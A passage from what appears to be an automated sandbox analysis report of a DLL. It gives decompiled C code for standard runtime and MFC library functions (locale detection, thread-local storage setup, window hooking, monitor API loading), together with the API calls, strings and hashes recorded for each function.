						 *((intOrPtr*)(_t181 - 0x28)) = ConvertDefaultLocale(_t172);
						 *(_t181 - 0x10) = 4;
					}
					_t169 = 0;
				}
				 *(_t181 - 0x10) =  &(1[ *(_t181 - 0x10)]);
				_t181[ *(_t181 - 0x10) * 4 - 0x34] = 0x800;
				_t181[0x105] = 0;
				_t181[0x104] = 0;
				if(GetModuleFileNameA(0x10000000, _t181, 0x105) != _t169) {
					_t143 = 0x20;
					E100174D0(_t169, _t181 - 0x64, _t169, _t143);
					 *((intOrPtr*)(_t181 - 0x64)) = _t143;
					 *(_t181 - 0x5c) = _t181;
					 *((intOrPtr*)(_t181 - 0x50)) = 0x3e8;
					 *(_t181 - 0x48) = 0x10000000;
					 *((intOrPtr*)(_t181 - 0x60)) = 0x88;
					E1000A1F9(_t181 - 0x3c, 0x10000000, 0xffffffff);
					 *(_t181 - 4) = _t169;
					if(E1000A2A9(_t181 - 0x3c, _t181 - 0x64) != 0) {
						E1000A2DF(_t181 - 0x3c);
					}
					_t176 = 0;
					if( *(_t181 - 0x10) <= _t169) {
						L23:
						 *(_t181 - 4) =  *(_t181 - 4) | 0xffffffff;
						E1000A8D0(_t181 - 0x3c);
						_t92 = _t169;
						goto L24;
					} else {
						while(1) {
							_t94 = E1000A803(_t143,  *(_t181 - 0x40), _t167, _t169, _t181[_t176 * 4 - 0x34]);
							if(_t94 != _t169) {
								break;
							}
							_t176 =  &(1[_t176]);
							if(_t176 <  *(_t181 - 0x10)) {
								continue;
							}
							goto L23;
						}
						_t169 = _t94;
						goto L23;
					}
				} else {
					_t92 = 0;
					L24:
					 *[fs:0x0] =  *((intOrPtr*)(_t181 - 0xc));
					_pop(_t170);
					_pop(_t177);
					_pop(_t144);
					return E100167D5(_t92, _t144, _t181[0x118] ^ _t181, _t167, _t170, _t177);
				}
			}

0x1000aa3a
0x1000aa3b
0x1000aa41
0x1000aa4c
0x1000aa52
0x1000aa59
0x1000aa6a
0x1000aa71
0x1000aa74
0x1000aa77
0x1000aa7a
0x1000aa88
0x1000aa8b
0x1000aa8f
0x1000ab5d
0x1000ac19
0x1000ac1d
0x1000ac31
0x1000ac34
0x1000ac3e
0x1000ac44
0x1000ac5c
0x1000ac68
0x1000ac6d
0x1000ac70
0x1000ac70
0x1000ac3e
0x1000ab63
0x1000ab77
0x1000ab82
0x1000ab98
0x1000aba7
0x1000abbf
0x1000abc4
0x1000abca
0x1000abd6
0x1000abd9
0x1000abeb
0x1000abf7
0x1000abfc
0x1000abff
0x1000abff
0x1000abca
0x1000ac09
0x1000ac09
0x1000ab82
0x1000aa95
0x1000aa9d
0x1000aaa0
0x1000aaa3
0x1000aab5
0x1000aabe
0x1000aac6
0x1000aad3
0x1000aad6
0x1000aadd
0x1000aae1
0x1000aae5
0x1000aae8
0x1000aaeb
0x1000aaf8
0x1000ab04
0x1000ab09
0x1000ab0c
0x1000ab0c
0x1000ab13
0x1000ab13
0x1000ab18
0x1000ab1b
0x1000ab32
0x1000ab39
0x1000ab48
0x1000ac7e
0x1000ac85
0x1000ac95
0x1000ac98
0x1000ac9b
0x1000aca2
0x1000aca5
0x1000acac
0x1000acb8
0x1000acc2
0x1000acc7
0x1000acc7
0x1000accc
0x1000acd1
0x1000acee
0x1000acee
0x1000acf5
0x1000acfa
0x00000000
0x1000acd3
0x1000acd3
0x1000acda
0x1000ace2
0x00000000
0x00000000
0x1000ace4
0x1000ace8
0x00000000
0x00000000
0x00000000
0x1000acea
0x1000acec
0x00000000
0x1000acec
0x1000ab4e
0x1000ab4e
0x1000acfc
0x1000acff
0x1000ad07
0x1000ad08
0x1000ad09
0x1000ad1e
0x1000ad1e

APIs

__EH_prolog3.LIBCMT ref: 1000AA59
GetModuleHandleA.KERNEL32(kernel32.dll,00000058), ref: 1000AA7A
GetProcAddress.KERNEL32(00000000,GetUserDefaultUILanguage), ref: 1000AA8B
ConvertDefaultLocale.KERNEL32(?), ref: 1000AAC1
ConvertDefaultLocale.KERNEL32(?), ref: 1000AAC9
GetProcAddress.KERNEL32(?,GetSystemDefaultUILanguage), ref: 1000AADD
ConvertDefaultLocale.KERNEL32(?), ref: 1000AB01
ConvertDefaultLocale.KERNEL32(000003FF), ref: 1000AB07
GetModuleFileNameA.KERNEL32(10000000,?,00000105), ref: 1000AB40
GetVersion.KERNEL32 ref: 1000AB55
RegOpenKeyExA.ADVAPI32(80000001,Control Panel\Desktop\ResourceLocale,00000000,00020019,?), ref: 1000AB7A
RegQueryValueExA.ADVAPI32(?,00000000,00000000,?,?,?), ref: 1000AB9F
_sscanf.LIBCMT ref: 1000ABBF
ConvertDefaultLocale.KERNEL32(?), ref: 1000ABF4
ConvertDefaultLocale.KERNEL32(74E04EE0), ref: 1000ABFA
RegCloseKey.ADVAPI32(?), ref: 1000AC09
GetModuleHandleA.KERNEL32(ntdll.dll), ref: 1000AC19
EnumResourceLanguagesA.KERNEL32 ref: 1000AC34
ConvertDefaultLocale.KERNEL32(?), ref: 1000AC65
ConvertDefaultLocale.KERNEL32(74E04EE0), ref: 1000AC6B
_memset.LIBCMT ref: 1000AC85

Strings

GetSystemDefaultUILanguage, xrefs: 1000AACB
ntdll.dll, xrefs: 1000AC14
GetUserDefaultUILanguage, xrefs: 1000AA82
kernel32.dll, xrefs: 1000AA6C
Control Panel\Desktop\ResourceLocale, xrefs: 1000AB6D

Memory Dump Source

Source File: 0000000C.00000002.322365881.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 0000000C.00000002.322359402.0000000010000000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.322397378.0000000010029000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.322409110.0000000010032000.00000008.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_10000000_rundll32.jbxd

Similarity

API ID: ConvertDefaultLocale$Module$AddressHandleProc$CloseEnumFileH_prolog3LanguagesNameOpenQueryResourceValueVersion_memset_sscanf
String ID: Control Panel\Desktop\ResourceLocale$GetSystemDefaultUILanguage$GetUserDefaultUILanguage$kernel32.dll$ntdll.dll
API String ID: 434808117-483790700
Opcode ID: 391a7af3d11bcdbc6c68bf10dbaf9488a7631794da5acccd773ff9b8d76e3d4f
Instruction ID: 772d67b6ef5536ffa942379cc2d037747f9683b4a435f76ff704d577c4812cba
Opcode Fuzzy Hash: 391a7af3d11bcdbc6c68bf10dbaf9488a7631794da5acccd773ff9b8d76e3d4f
Instruction Fuzzy Hash: 638182B0D002699FEB10DFA5DC84AFEBBF9FB49350F500626E554E7280DB749A85CB60

Uniqueness

Uniqueness Score: -1.00%

Function 1001C11B, Relevance: 42.1, APIs: 19, Strings: 5, Instructions: 109
libraryloadermemoryCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 91%

			E1001C11B(void* __ebx) {
				void* __edi;
				void* __esi;
				_Unknown_base(*)()* _t7;
				long _t10;
				void* _t11;
				int _t12;
				void* _t18;
				intOrPtr _t21;
				long _t26;
				void* _t30;
				struct HINSTANCE__* _t37;
				void* _t40;
				void* _t42;

				_t30 = __ebx;
				_t37 = GetModuleHandleA("KERNEL32.DLL");
				if(_t37 != 0) {
					 *0x1005aea4 = GetProcAddress(_t37, "FlsAlloc");
					 *0x1005aea8 = GetProcAddress(_t37, "FlsGetValue");
					 *0x1005aeac = GetProcAddress(_t37, "FlsSetValue");
					_t7 = GetProcAddress(_t37, "FlsFree");
					__eflags =  *0x1005aea4;
					_t40 = TlsSetValue;
					 *0x1005aeb0 = _t7;
					if( *0x1005aea4 == 0) {
						L6:
						 *0x1005aea8 = TlsGetValue;
						 *0x1005aea4 = E1001BDD2;
						 *0x1005aeac = _t40;
						 *0x1005aeb0 = TlsFree;
					} else {
						__eflags =  *0x1005aea8;
						if( *0x1005aea8 == 0) {
							goto L6;
						} else {
							__eflags =  *0x1005aeac;
							if( *0x1005aeac == 0) {
								goto L6;
							} else {
								__eflags = _t7;
								if(_t7 == 0) {
									goto L6;
								}
							}
						}
					}
					_t10 = TlsAlloc();
					__eflags = _t10 - 0xffffffff;
					 *0x10057d30 = _t10;
					if(_t10 == 0xffffffff) {
						L15:
						_t11 = 0;
						__eflags = 0;
					} else {
						_t12 = TlsSetValue(_t10,  *0x1005aea8);
						__eflags = _t12;
						if(_t12 == 0) {
							goto L15;
						} else {
							E10018042();
							 *0x1005aea4 = E1001BD03( *0x1005aea4);
							 *0x1005aea8 = E1001BD03( *0x1005aea8);
							 *0x1005aeac = E1001BD03( *0x1005aeac);
							 *0x1005aeb0 = E1001BD03( *0x1005aeb0);
							_t18 = E1001A3D3();
							__eflags = _t18;
							if(_t18 == 0) {
								L14:
								E1001BE05();
								goto L15;
							} else {
								_push(E1001BF91);
								_t21 =  *((intOrPtr*)(E1001BD6F( *0x1005aea4)))();
								__eflags = _t21 - 0xffffffff;
								 *0x10057d2c = _t21;
								if(_t21 == 0xffffffff) {
									goto L14;
								} else {
									_t42 = E1001E76E(1, 0x214);
									__eflags = _t42;
									if(_t42 == 0) {
										goto L14;
									} else {
										_push(_t42);
										_push( *0x10057d2c);
										__eflags =  *((intOrPtr*)(E1001BD6F( *0x1005aeac)))();
										if(__eflags == 0) {
											goto L14;
										} else {
											_push(0);
											_push(_t42);
											E1001BE42(_t30, _t37, _t42, __eflags);
											_t26 = GetCurrentThreadId();
											 *(_t42 + 4) =  *(_t42 + 4) | 0xffffffff;
											 *_t42 = _t26;
											_t11 = 1;
										}
									}
								}
							}
						}
					}
					return _t11;
				} else {
					E1001BE05();
					return 0;
				}
			}

APIs

GetModuleHandleA.KERNEL32(KERNEL32.DLL,?,10017978,?,?,00000001,?,?,10017AE8,00000001,?,?,1002F840,0000000C,10017BA2,?), ref: 1001C121
__mtterm.LIBCMT ref: 1001C12D

Part of subcall function 1001BE05: __decode_pointer.LIBCMT ref: 1001BE16
Part of subcall function 1001BE05: TlsFree.KERNEL32(?,10017A14,?,?,00000001,?,?,10017AE8,00000001,?,?,1002F840,0000000C,10017BA2,?), ref: 1001BE30

GetProcAddress.KERNEL32(00000000,FlsAlloc), ref: 1001C143
GetProcAddress.KERNEL32(00000000,FlsGetValue), ref: 1001C150
GetProcAddress.KERNEL32(00000000,FlsSetValue), ref: 1001C15D
GetProcAddress.KERNEL32(00000000,FlsFree), ref: 1001C16A
TlsAlloc.KERNEL32(?,?,00000001,?,?,10017AE8,00000001,?,?,1002F840,0000000C,10017BA2,?), ref: 1001C1BA
TlsSetValue.KERNEL32(00000000,?,?,00000001,?,?,10017AE8,00000001,?,?,1002F840,0000000C,10017BA2,?), ref: 1001C1D5
__init_pointers.LIBCMT ref: 1001C1DF
__encode_pointer.LIBCMT ref: 1001C1EA
__encode_pointer.LIBCMT ref: 1001C1FA
__encode_pointer.LIBCMT ref: 1001C20A
__encode_pointer.LIBCMT ref: 1001C21A
__decode_pointer.LIBCMT ref: 1001C23B
__calloc_crt.LIBCMT ref: 1001C254
__decode_pointer.LIBCMT ref: 1001C26E
__initptd.LIBCMT ref: 1001C27D
GetCurrentThreadId.KERNEL32 ref: 1001C284

Strings

KERNEL32.DLL, xrefs: 1001C11C
FlsSetValue, xrefs: 1001C152
FlsGetValue, xrefs: 1001C145
FlsFree, xrefs: 1001C15F
FlsAlloc, xrefs: 1001C13D

Memory Dump Source

Source File: 0000000C.00000002.322365881.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 0000000C.00000002.322359402.0000000010000000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.322397378.0000000010029000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.322409110.0000000010032000.00000008.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_10000000_rundll32.jbxd

Similarity

API ID: AddressProc__encode_pointer$__decode_pointer$AllocCurrentFreeHandleModuleThreadValue__calloc_crt__init_pointers__initptd__mtterm
String ID: FlsAlloc$FlsFree$FlsGetValue$FlsSetValue$KERNEL32.DLL
API String ID: 2657569430-3819984048
Opcode ID: f8eb42d05a0f46123fcd151e30e2a53c2e7fcd681058195d0d7fb9ca21756e1b
Instruction ID: b5f7097eefea174a9ed91942db92a94305995674aef8197461d434292f48097b
Opcode Fuzzy Hash: f8eb42d05a0f46123fcd151e30e2a53c2e7fcd681058195d0d7fb9ca21756e1b
Instruction Fuzzy Hash: E4319335900735AFEB11EFB59CCEA4A3BF1EB46360B144526F5049A1B1EBB5D8C0CB60

Uniqueness

Uniqueness Score: -1.00%

Function 10011389, Relevance: 33.4, APIs: 16, Strings: 3, Instructions: 179
COMMON

Download Yara Rule

C-Code - Quality: 92%

			E10011389(void* __ebx, intOrPtr __edi, void* __esi, void* __eflags) {
				intOrPtr _t54;
				void* _t55;
				signed int _t56;
				signed short _t57;
				void* _t59;
				long _t60;
				signed int _t64;
				void* _t66;
				short _t72;
				signed int _t74;
				signed int _t76;
				long _t83;
				signed int _t86;
				signed short _t87;
				signed int _t88;
				int _t94;
				void* _t106;
				long* _t108;
				long _t110;
				signed int _t111;
				CHAR* _t112;
				intOrPtr _t113;
				void* _t116;
				void* _t119;
				intOrPtr _t120;

				_t119 = __eflags;
				_t105 = __edi;
				_push(0x148);
				E10017C2A(E1002866E, __ebx, __edi, __esi);
				_t110 =  *(_t116 + 0x10);
				_t94 =  *(_t116 + 0xc);
				_push(0x1000a0f5);
				 *(_t116 - 0x120) = _t110;
				_t54 = E10013D98(_t94, 0x10058f44, __edi, _t110, _t119);
				_t120 = _t54;
				_t97 = 0 | _t120 == 0x00000000;
				 *((intOrPtr*)(_t116 - 0x11c)) = _t54;
				_t121 = _t120 == 0;
				if(_t120 == 0) {
					_t54 = E1000A0DB(_t94, _t97, __edi, _t110, _t121);
				}
				if( *(_t116 + 8) == 3) {
					_t106 =  *_t110;
					_t111 =  *(_t54 + 0x14);
					_t55 = E1000D5EC(_t94, _t106, _t111, __eflags);
					__eflags = _t111;
					_t56 =  *(_t55 + 0x14) & 0x000000ff;
					 *(_t116 - 0x124) = _t56;
					if(_t111 != 0) {
						L7:
						__eflags =  *0x1005acbc;
						if( *0x1005acbc == 0) {
							L12:
							__eflags = _t111;
							if(__eflags == 0) {
								__eflags =  *0x1005a8dc;
								if( *0x1005a8dc != 0) {
									L19:
									_t57 = GetClassLongA(_t94, 0xffffffe0);
									__eflags = (_t57 & 0x0000ffff) -  *0x1005a8dc;
									if((_t57 & 0x0000ffff) !=  *0x1005a8dc) {
										L23:
										_t59 = GetWindowLongA(_t94, 0xfffffffc);
										__eflags = _t59;
										 *(_t116 - 0x14) = _t59;
										if(_t59 != 0) {
											_t112 = "AfxOldWndProc423";
											_t64 = GetPropA(_t94, _t112);
											__eflags = _t64;
											if(_t64 == 0) {
												SetPropA(_t94, _t112,  *(_t116 - 0x14));
												_t66 = GetPropA(_t94, _t112);
												__eflags = _t66 -  *(_t116 - 0x14);
												if(_t66 ==  *(_t116 - 0x14)) {
													GlobalAddAtomA(_t112);
													SetWindowLongA(_t94, 0xfffffffc, E10011245);
												}
											}
										}
										L27:
										_t105 =  *((intOrPtr*)(_t116 - 0x11c));
										_t60 = CallNextHookEx( *(_t105 + 0x28), 3, _t94,  *(_t116 - 0x120));
										__eflags =  *(_t116 - 0x124);
										_t110 = _t60;
										if( *(_t116 - 0x124) != 0) {
											UnhookWindowsHookEx( *(_t105 + 0x28));
											_t50 = _t105 + 0x28;
											 *_t50 =  *(_t105 + 0x28) & 0x00000000;
											__eflags =  *_t50;
										}
										goto L30;
									}
									goto L27;
								}
								_t113 = 0x30;
								E100174D0(_t106, _t116 - 0x154, 0, _t113);
								 *((intOrPtr*)(_t116 - 0x154)) = _t113;
								_push(_t116 - 0x154);
								_push("#32768");
								_push(0);
								_t72 = E1000E5E2(_t94, _t97, _t106, "#32768", __eflags);
								__eflags = _t72;
								 *0x1005a8dc = _t72;
								if(_t72 == 0) {
									_t74 = GetClassNameA(_t94, _t116 - 0x118, 0x100);
									__eflags = _t74;
									if(_t74 == 0) {
										goto L23;
									}
									 *((char*)(_t116 - 0x19)) = 0;
									_t76 = E100199C1(_t116 - 0x118, "#32768");
									__eflags = _t76;
									if(_t76 == 0) {
										goto L27;
									}
									goto L23;
								}
								goto L19;
							}
							E1000D638(_t116 - 0x18, __eflags,  *((intOrPtr*)(_t111 + 0x1c)));
							 *(_t116 - 4) =  *(_t116 - 4) & 0x00000000;
							E1000FB9D(_t111, _t116, _t94);
							 *((intOrPtr*)( *_t111 + 0x50))();
							_t108 =  *((intOrPtr*)( *_t111 + 0xf0))();
							_t83 = SetWindowLongA(_t94, 0xfffffffc, E1001025C);
							__eflags = _t83 - E1001025C;
							if(_t83 != E1001025C) {
								 *_t108 = _t83;
							}
							 *( *((intOrPtr*)(_t116 - 0x11c)) + 0x14) =  *( *((intOrPtr*)(_t116 - 0x11c)) + 0x14) & 0x00000000;
							 *(_t116 - 4) =  *(_t116 - 4) | 0xffffffff;
							__eflags =  *(_t116 - 0x14);
							if( *(_t116 - 0x14) != 0) {
								_push( *(_t116 - 0x18));
								_push(0);
								E1000CEFC();
							}
							goto L27;
						}
						_t86 = GetClassLongA(_t94, 0xffffffe6);
						__eflags = _t86 & 0x00010000;
						if((_t86 & 0x00010000) != 0) {
							goto L27;
						}
						_t87 =  *(_t106 + 0x28);
						__eflags = _t87 - 0xffff;
						if(_t87 <= 0xffff) {
							 *(_t116 - 0x18) = 0;
							GlobalGetAtomNameA( *(_t106 + 0x28) & 0x0000ffff, _t116 - 0x18, 5);
							_t87 = _t116 - 0x18;
						}
						_t88 = E1000A7E1(_t87, "ime");
						__eflags = _t88;
						_pop(_t97);
						if(_t88 == 0) {
							goto L27;
						}
						goto L12;
					}
					__eflags =  *(_t106 + 0x20) & 0x40000000;
					if(( *(_t106 + 0x20) & 0x40000000) != 0) {
						goto L27;
					}
					__eflags = _t56;
					if(_t56 != 0) {
						goto L27;
					}
					goto L7;
				} else {
					CallNextHookEx( *(_t54 + 0x28),  *(_t116 + 8), _t94, _t110);
					L30:
					return E10017C74(_t94, _t105, _t110);
				}
			}

0x10011389
0x10011389
0x10011389
0x10011393
0x10011398
0x1001139b
0x1001139e
0x100113a8
0x100113ae
0x100113b5
0x100113b7
0x100113ba
0x100113c0
0x100113c2
0x100113c4
0x100113c4
0x100113cd
0x100113e2
0x100113e4
0x100113e7
0x100113ec
0x100113ee
0x100113f2
0x100113f8
0x1001140f
0x1001140f
0x10011416
0x10011463
0x10011463
0x10011465
0x100114cd
0x100114d5
0x10011511
0x10011514
0x1001151d
0x10011524
0x10011556
0x10011559
0x1001155f
0x10011561
0x10011564
0x1001156c
0x10011573
0x10011575
0x10011577
0x1001157e
0x10011586
0x10011588
0x1001158b
0x1001158e
0x1001159c
0x1001159c
0x1001158b
0x10011577
0x100115a2
0x100115a8
0x100115b4
0x100115ba
0x100115c1
0x100115c3
0x100115c8
0x100115ce
0x100115ce
0x100115ce
0x100115ce
0x00000000
0x100115d2
0x00000000
0x10011526
0x100114d9
0x100114e4
0x100114ef
0x100114f5
0x100114fb
0x100114fc
0x100114fe
0x10011506
0x10011509
0x1001150f
0x10011535
0x1001153b
0x1001153d
0x00000000
0x00000000
0x10011547
0x1001154b
0x10011550
0x10011554
0x00000000
0x00000000
0x00000000
0x10011554
0x00000000
0x1001150f
0x1001146d
0x10011472
0x10011479
0x10011482
0x10011498
0x1001149a
0x100114a0
0x100114a2
0x100114a4
0x100114a4
0x100114ac
0x100114b0
0x100114b4
0x100114b8
0x100114be
0x100114c1
0x100114c3
0x100114c3
0x00000000
0x100114b8
0x1001141b
0x10011421
0x10011426
0x00000000
0x00000000
0x1001142c
0x1001142f
0x10011434
0x10011441
0x10011445
0x1001144b
0x1001144b
0x10011454
0x10011459
0x1001145c
0x1001145d
0x00000000
0x00000000
0x00000000
0x1001145d
0x100113fa
0x10011401
0x00000000
0x00000000
0x10011407
0x10011409
0x00000000
0x00000000
0x00000000
0x100113cf
0x100113d7
0x100115d4
0x100115d9
0x100115d9

APIs

__EH_prolog3_GS.LIBCMT ref: 10011393

Part of subcall function 10013D98: __EH_prolog3.LIBCMT ref: 10013D9F

CallNextHookEx.USER32 ref: 100113D7

Part of subcall function 1000A0DB: __CxxThrowException@8.LIBCMT ref: 1000A0EF
Part of subcall function 1000A0DB: __EH_prolog3.LIBCMT ref: 1000A0FC

GetClassLongA.USER32 ref: 1001141B
GlobalGetAtomNameA.KERNEL32 ref: 10011445
SetWindowLongA.USER32(?,000000FC,Function_0001025C), ref: 1001149A
_memset.LIBCMT ref: 100114E4
GetClassLongA.USER32 ref: 10011514
GetClassNameA.USER32(?,?,00000100), ref: 10011535
GetWindowLongA.USER32 ref: 10011559
GetPropA.USER32 ref: 10011573
SetPropA.USER32(?,AfxOldWndProc423,?), ref: 1001157E
GetPropA.USER32 ref: 10011586
GlobalAddAtomA.KERNEL32 ref: 1001158E
SetWindowLongA.USER32(?,000000FC,Function_00011245), ref: 1001159C
CallNextHookEx.USER32 ref: 100115B4
UnhookWindowsHookEx.USER32(?), ref: 100115C8

Strings

AfxOldWndProc423, xrefs: 1001156C, 10011571, 1001157C, 10011584, 1001158D
#32768, xrefs: 100114F6, 100114FB, 10011545
ime, xrefs: 1001144E

Memory Dump Source

Source File: 0000000C.00000002.322365881.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 0000000C.00000002.322359402.0000000010000000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.322397378.0000000010029000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.322409110.0000000010032000.00000008.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_10000000_rundll32.jbxd

Similarity

API ID: Long$ClassHookPropWindow$AtomCallGlobalH_prolog3NameNext$Exception@8H_prolog3_ThrowUnhookWindows_memset
String ID: #32768$AfxOldWndProc423$ime
API String ID: 1191297049-4034971020
Opcode ID: a59f08c89f11fe6b3e13f01d104cbc0d9868f5cf59dfadfd77116e560bc0dc28
Instruction ID: 45731ac5847e6eda9355a9c996fe1b8867c86b30351497dbe8ef7f26860efac9
Opcode Fuzzy Hash: a59f08c89f11fe6b3e13f01d104cbc0d9868f5cf59dfadfd77116e560bc0dc28
Instruction Fuzzy Hash: 09619E31900666EFEB14DB61CC49BDE7BA9EF483A1F214254F506AB191DB34DEC1CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 1000D6C3, Relevance: 28.1, APIs: 8, Strings: 8, Instructions: 77
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 97%

			E1000D6C3() {
				void* __ebx;
				void* __esi;
				struct HINSTANCE__* _t5;
				_Unknown_base(*)()* _t6;
				_Unknown_base(*)()* _t7;
				_Unknown_base(*)()* _t8;
				_Unknown_base(*)()* _t9;
				_Unknown_base(*)()* _t10;
				_Unknown_base(*)()* _t11;
				_Unknown_base(*)()* _t12;
				struct HINSTANCE__* _t18;
				void* _t20;

				if( *0x1005a76c == 0) {
					_push(_t20);
					 *0x1005a770 = E1000D66B(0, _t20, __eflags);
					_t18 = GetModuleHandleA("USER32");
					__eflags = _t18;
					if(_t18 == 0) {
						L12:
						 *0x1005a750 = 0;
						 *0x1005a754 = 0;
						 *0x1005a758 = 0;
						 *0x1005a75c = 0;
						 *0x1005a760 = 0;
						 *0x1005a764 = 0;
						 *0x1005a768 = 0;
						_t5 = 0;
					} else {
						_t6 = GetProcAddress(_t18, "GetSystemMetrics");
						__eflags = _t6;
						 *0x1005a750 = _t6;
						if(_t6 == 0) {
							goto L12;
						} else {
							_t7 = GetProcAddress(_t18, "MonitorFromWindow");
							__eflags = _t7;
							 *0x1005a754 = _t7;
							if(_t7 == 0) {
								goto L12;
							} else {
								_t8 = GetProcAddress(_t18, "MonitorFromRect");
								__eflags = _t8;
								 *0x1005a758 = _t8;
								if(_t8 == 0) {
									goto L12;
								} else {
									_t9 = GetProcAddress(_t18, "MonitorFromPoint");
									__eflags = _t9;
									 *0x1005a75c = _t9;
									if(_t9 == 0) {
										goto L12;
									} else {
										_t10 = GetProcAddress(_t18, "EnumDisplayMonitors");
										__eflags = _t10;
										 *0x1005a764 = _t10;
										if(_t10 == 0) {
											goto L12;
										} else {
											_t11 = GetProcAddress(_t18, "GetMonitorInfoA");
											__eflags = _t11;
											 *0x1005a760 = _t11;
											if(_t11 == 0) {
												goto L12;
											} else {
												_t12 = GetProcAddress(_t18, "EnumDisplayDevicesA");
												__eflags = _t12;
												 *0x1005a768 = _t12;
												if(_t12 == 0) {
													goto L12;
												} else {
													_t5 = 1;
													__eflags = 1;
												}
											}
										}
									}
								}
							}
						}
					}
					 *0x1005a76c = 1;
					return _t5;
				} else {
					return 0 |  *0x1005a760 != 0x00000000;
				}
			}

0x1000d6cc
0x1000d6db
0x1000d6e7
0x1000d6f2
0x1000d6f4
0x1000d6f6
0x1000d78a
0x1000d78a
0x1000d790
0x1000d796
0x1000d79c
0x1000d7a2
0x1000d7a8
0x1000d7ae
0x1000d7b4
0x1000d6fc
0x1000d708
0x1000d70a
0x1000d70c
0x1000d711
0x00000000
0x1000d713
0x1000d719
0x1000d71b
0x1000d71d
0x1000d722
0x00000000
0x1000d724
0x1000d72a
0x1000d72c
0x1000d72e
0x1000d733
0x00000000
0x1000d735
0x1000d73b
0x1000d73d
0x1000d73f
0x1000d744
0x00000000
0x1000d746
0x1000d74c
0x1000d74e
0x1000d750
0x1000d755
0x00000000
0x1000d757
0x1000d75d
0x1000d75f
0x1000d761
0x1000d766
0x00000000
0x1000d768
0x1000d76e
0x1000d770
0x1000d772
0x1000d777
0x00000000
0x1000d779
0x1000d77b
0x1000d77b
0x1000d77b
0x1000d777
0x1000d766
0x1000d755
0x1000d744
0x1000d733
0x1000d722
0x1000d711
0x1000d77e
0x1000d789
0x1000d6ce
0x1000d6da
0x1000d6da

APIs

GetModuleHandleA.KERNEL32(USER32,00000000,00000000,76925D80,1000D80F,?,?,?,?,?,?,?,1000F61E,00000000,00000002,00000028), ref: 1000D6EC
GetProcAddress.KERNEL32(00000000,GetSystemMetrics), ref: 1000D708
GetProcAddress.KERNEL32(00000000,MonitorFromWindow), ref: 1000D719
GetProcAddress.KERNEL32(00000000,MonitorFromRect), ref: 1000D72A
GetProcAddress.KERNEL32(00000000,MonitorFromPoint), ref: 1000D73B
GetProcAddress.KERNEL32(00000000,EnumDisplayMonitors), ref: 1000D74C
GetProcAddress.KERNEL32(00000000,GetMonitorInfoA), ref: 1000D75D
GetProcAddress.KERNEL32(00000000,EnumDisplayDevicesA), ref: 1000D76E

Strings

GetMonitorInfoA, xrefs: 1000D757
EnumDisplayDevicesA, xrefs: 1000D768
EnumDisplayMonitors, xrefs: 1000D746
MonitorFromPoint, xrefs: 1000D735
MonitorFromRect, xrefs: 1000D724
USER32, xrefs: 1000D6E2
MonitorFromWindow, xrefs: 1000D713
GetSystemMetrics, xrefs: 1000D702

Memory Dump Source

Source File: 0000000C.00000002.322365881.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 0000000C.00000002.322359402.0000000010000000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.322397378.0000000010029000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.322409110.0000000010032000.00000008.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_10000000_rundll32.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: EnumDisplayDevicesA$EnumDisplayMonitors$GetMonitorInfoA$GetSystemMetrics$MonitorFromPoint$MonitorFromRect$MonitorFromWindow$USER32
API String ID: 667068680-68207542
Opcode ID: ee0e5f062bbe94e4a9e7c06d78520802f13055058268d31d10b74b4948bb3027
Instruction ID: 93615fb53cb164fe7f3d347b700eade87a81924dee4312457033af375ccc55a3
Opcode Fuzzy Hash: ee0e5f062bbe94e4a9e7c06d78520802f13055058268d31d10b74b4948bb3027
Instruction Fuzzy Hash: 7921E3B19097699BE701EF369DC856DBAF5F34F281391453FE109D2528EB3884C6EE20

Uniqueness

Uniqueness Score: -1.00%

Function 1000F530, Relevance: 24.7, APIs: 13, Strings: 1, Instructions: 176
windowCOMMON

Download Yara Rule

C-Code - Quality: 89%

			E1000F530(void* __ebx, intOrPtr __ecx, void* __edx, intOrPtr _a4) {
				signed int _v8;
				intOrPtr _v12;
				struct tagRECT _v28;
				struct tagRECT _v44;
				struct tagRECT _v60;
				struct tagRECT _v80;
				char _v100;
				void* __edi;
				intOrPtr _t58;
				struct HWND__* _t59;
				intOrPtr _t94;
				signed int _t103;
				struct HWND__* _t104;
				void* _t105;
				struct HWND__* _t107;
				long _t108;
				long _t116;
				void* _t119;
				struct HWND__* _t121;
				void* _t123;
				intOrPtr _t125;
				intOrPtr _t129;

				_t119 = __edx;
				_t105 = __ebx;
				_t125 = __ecx;
				_v12 = __ecx;
				_v8 = E10012862(__ecx);
				_t58 = _a4;
				if(_t58 == 0) {
					if((_v8 & 0x40000000) == 0) {
						_t59 = GetWindow( *(__ecx + 0x20), 4);
					} else {
						_t59 = GetParent( *(__ecx + 0x20));
					}
					_t121 = _t59;
					if(_t121 != 0) {
						_t104 = SendMessageA(_t121, 0x36b, 0, 0);
						if(_t104 != 0) {
							_t121 = _t104;
						}
					}
				} else {
					_t4 = _t58 + 0x20; // 0xc033d88b
					_t121 =  *_t4;
				}
				_push(_t105);
				GetWindowRect( *(_t125 + 0x20),  &_v60);
				if((_v8 & 0x40000000) != 0) {
					_t107 = GetParent( *(_t125 + 0x20));
					GetClientRect(_t107,  &_v28);
					GetClientRect(_t121,  &_v44);
					MapWindowPoints(_t121, _t107,  &_v44, 2);
				} else {
					if(_t121 != 0) {
						_t103 = GetWindowLongA(_t121, 0xfffffff0);
